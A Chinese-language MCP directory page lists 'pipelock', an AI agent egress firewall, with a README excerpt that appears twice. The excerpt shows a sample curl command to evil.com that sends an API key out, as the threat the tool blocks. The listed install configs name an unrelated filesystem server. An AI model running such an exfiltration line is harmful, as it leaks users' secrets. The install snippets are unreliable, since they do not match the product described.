P
pipelab-org/pipelock
Firewall for agent traffic: HTTP, MCP and WebSocket
在 GitHub 查看 ↗链接已于 2026-11-12 核查 · HTTP 200 · 打开的是厂商自己的官网
安装与配置
客户端配置(取自该仓库的安装命令)
{
"mcpServers": {
"pipelab-org-pipelock": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem"]
}
}
}解析自我们于 2026-11-07 抓取的该仓库 README;我们未执行过。
command/args 来自仓库写明的安装命令;不确定时请以该项目 README 为准。
VS Code(.vscode/mcp.json —— 键名是 servers)
{
"servers": {
"pipelab-org-pipelock": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem"]
}
}
}VS Code 顶层键是 <code>servers</code>,其余与上面那份相同。
Claude Code(命令行)
claude mcp add --transport stdio pipelab-org-pipelock -- npx -y @modelcontextprotocol/server-filesystem
Claude Code 不收 JSON 文件,用这条命令直接加。
配置项的键名以你的客户端为准:客户端与 CLI
- 来源明细
- 收录自 abordage/awesome-mcp 榜单(我们从中收集的条目之一) · 条目类型:MCP 服务
- 收录与活跃
- 收录于 2026-11-05 · 最近见到 2026-11-14 · 共见到 10 次 · 被 10 个来源列出
- 评分构成
- 综合分 1,003 · 10 个来源 · mcp
- 安装
npx -y @modelcontextprotocol/server-filesystem
常见问题(答案都来自我们的记录)
怎么安装?
该仓库给出的安装命令是
npx -y @modelcontextprotocol/server-filesystem。我们的记录里它是仓库自己提供的;不保证在你的客户端上直接可用。它适合谁 / 用来做什么?
我们把它归在这些标签下: MCP 服务。标签来自条目自身,不是我们强加的分类。
谁维护它、还在更新吗?
我们收录于 2026-11-05;最近见到 2026-11-14。这里没有"官方认证"或"质量评级"——我们只记录来源与时间。
Open-source AI agent firewall for Verifiable Egress Control .
以下摘录自该仓库的 README(片段) · 在 GitHub 读完整 README →
Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level. Configured MCP upstreams are an exception to private-address SSRF blocking: local/private servers are allowed, but cloud metadata endpoints remain blocked.
Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.
Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problem ·
Verify ·
Quick Start ·
Action ·
Catches ·
Features ·
Architecture ·
Docs ·
Playground ·
Blog ·
Ask Dosu
Try it in your browser at the live playground . If Pipelock earns it, star the repo so other people find it.
## The Problem
Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:
bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.
## Verify It Yourself
Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.
The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:
bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is .json)
The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.
The evidence viewer is free and needs no license. It reads a flight-recorder
session, which is what Pipelock writes while it runs, rather than the demo
receipts above:
bash
pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server
Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.
Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problem ·
Verify ·
Quick Start ·
Action ·
Catches ·
Features ·
Architecture ·
Docs ·
Playground ·
Blog ·
Ask Dosu
Try it in your browser at the live playground . If Pipelock earns it, star the repo so other people find it.
## The Problem
Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:
bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.
## Verify It Yourself
Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.
The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:
bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is .json)
The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.
The evidence viewer is free and needs no license. It reads a flight-recorder
session, which is what Pipelock writes while it runs, rather than the demo
receipts above:
bash
pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server
收录徽章(可选)
想把收录标记放进 README 就复制这行,可选,不影响收录。
[](https://anclum.com/zh/s/pipelab-org-pipelock/)
- 来源
- awesome · https://github.com/pipelab-org/pipelock
- 按领域浏览
- MCP 服务
- 收录来源
- 10 个独立来源
- 收录于
- 今天
同类推荐
所属领域与标签
每个标签都能点进去看同类的全部条目。数字是当前库里的真实条数。